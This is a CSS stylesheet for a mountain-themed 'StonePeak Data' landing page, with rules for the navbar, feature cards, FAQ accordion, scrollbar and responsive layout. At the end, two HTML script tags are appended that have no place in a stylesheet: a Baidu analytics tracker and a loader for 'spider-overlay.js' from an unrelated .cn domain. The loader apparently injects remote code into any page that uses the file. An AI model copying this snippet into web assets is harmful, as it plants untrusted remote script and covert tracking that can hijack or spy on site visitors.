﻿/* ============================================
   StonePeak Data - Landing Page 0038
   Mountain Modern / Earthy Solid Tones
   ============================================ */

/* ----- Google Fonts (via CDN import) ----- */
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800;900&display=swap');

/* ----- Base Reset & Typography ----- */
html {
    scroll-behavior: smooth;
}

body {
    font-family: 'Inter', system-ui, -apple-system, sans-serif;
}

::selection {
    background-color: #57534e;
    color: #ffffff;
}

/* ----- Navbar Scroll Effect ----- */
#navbar.scrolled {
    background-color: rgba(28, 25, 23, 0.92);
    backdrop-filter: blur(16px);
    -webkit-backdrop-filter: blur(16px);
    box-shadow: 0 4px 30px rgba(0, 0, 0, 0.25);
    border-bottom: 1px solid rgba(120, 113, 108, 0.15);
}

#navbar.scrolled .nav-link {
    color: #d6d3d1;
}

#navbar.scrolled .nav-link:hover {
    color: #ffffff;
}

/* ----- Mobile Menu ----- */
#mobile-menu {
    animation: slideDown 0.25s ease-out;
}

@keyframes slideDown {
    from {
        opacity: 0;
        transform: translateY(-10px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

/* ----- Feature Cards ----- */
.feature-card {
    position: relative;
}

.mountain-peak-border {
    position: relative;
}

.mountain-peak-border::after {
    content: '';
    position: absolute;
    top: 100%;
    left: 50%;
    transform: translateX(-50%);
    width: 0;
    height: 0;
    border-left: 10px solid transparent;
    border-right: 10px solid transparent;
    border-top: 8px solid;
}

.feature-card:nth-child(1) .mountain-peak-border::after { border-top-color: #a8a29e; }
.feature-card:nth-child(2) .mountain-peak-border::after { border-top-color: #a8a29e; }
.feature-card:nth-child(3) .mountain-peak-border::after { border-top-color: #a8a29e; }
.feature-card:nth-child(4) .mountain-peak-border::after { border-top-color: #a8a29e; }
.feature-card:nth-child(5) .mountain-peak-border::after { border-top-color: #a8a29e; }
.feature-card:nth-child(6) .mountain-peak-border::after { border-top-color: #a8a29e; }

.feature-card:hover {
    box-shadow: 0 25px 50px -12px rgba(68, 64, 60, 0.25);
}

/* ----- Counter Animation ----- */
.counter {
    font-variant-numeric: tabular-nums;
    transition: all 0.3s ease;
}

/* ----- Testimonial Cards ----- */
.testimonial-card .fa-quote-right {
    font-size: 10px;
}

/* ----- FAQ Accordion ----- */
.faq-item {
    transition: all 0.3s ease;
}

.faq-item.active {
    border-color: #a8a29e;
    box-shadow: 0 4px 20px rgba(68, 64, 60, 0.08);
}

.faq-item.active .faq-icon {
    background-color: #57534e;
}

.faq-item.active .faq-icon i {
    color: #ffffff;
    transform: rotate(180deg);
}

.faq-content {
    animation: accordionOpen 0.35s ease-out;
}

@keyframes accordionOpen {
    from {
        opacity: 0;
        max-height: 0;
        transform: translateY(-8px);
    }
    to {
        opacity: 1;
        max-height: 500px;
        transform: translateY(0);
    }
}

/* ----- CTA Pulse Effect ----- */
#cta a[href="#"] {
    animation: subtlePulse 3s ease-in-out infinite;
}

@keyframes subtlePulse {
    0%, 100% {
        box-shadow: 0 20px 40px -12px rgba(245, 158, 11, 0.3);
    }
    50% {
        box-shadow: 0 24px 50px -12px rgba(245, 158, 11, 0.5);
    }
}

/* ----- Scrollbar Styling ----- */
::-webkit-scrollbar {
    width: 8px;
}

::-webkit-scrollbar-track {
    background: #f5f5f4;
}

::-webkit-scrollbar-thumb {
    background: #a8a29e;
    border-radius: 4px;
}

::-webkit-scrollbar-thumb:hover {
    background: #78716c;
}

/* ----- Focus Styles ----- */
a:focus-visible,
button:focus-visible {
    outline: 2px solid #78716c;
    outline-offset: 2px;
}

/* ----- Responsive Adjustments ----- */

/* Mobile */
@media (max-width: 640px) {
    #hero h1 {
        font-size: 2.25rem;
        line-height: 1.2;
    }

    #hero p {
        font-size: 0.95rem;
    }

    .feature-card {
        margin-bottom: 0;
    }

    #stats .grid {
        gap: 1rem;
    }

    #stats .text-center {
        padding: 1.25rem 1rem;
    }

    #testimonials .grid {
        gap: 1.5rem;
    }
}

/* Tablet */
@media (min-width: 641px) and (max-width: 1023px) {
    #hero h1 {
        font-size: 2.75rem;
    }
}

/* ----- Mountain silhouette adjustments for smaller screens ----- */
@media (max-width: 768px) {
    #hero svg {
        height: 150px;
    }

    #hero .absolute.bottom-0 {
        bottom: -1px;
    }

    .faq-trigger span:first-child {
        font-size: 0.9rem;
    }
}

/* ----- Print Styles ----- */
@media print {
    #navbar,
    #cta,
    footer {
        display: none;
    }
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

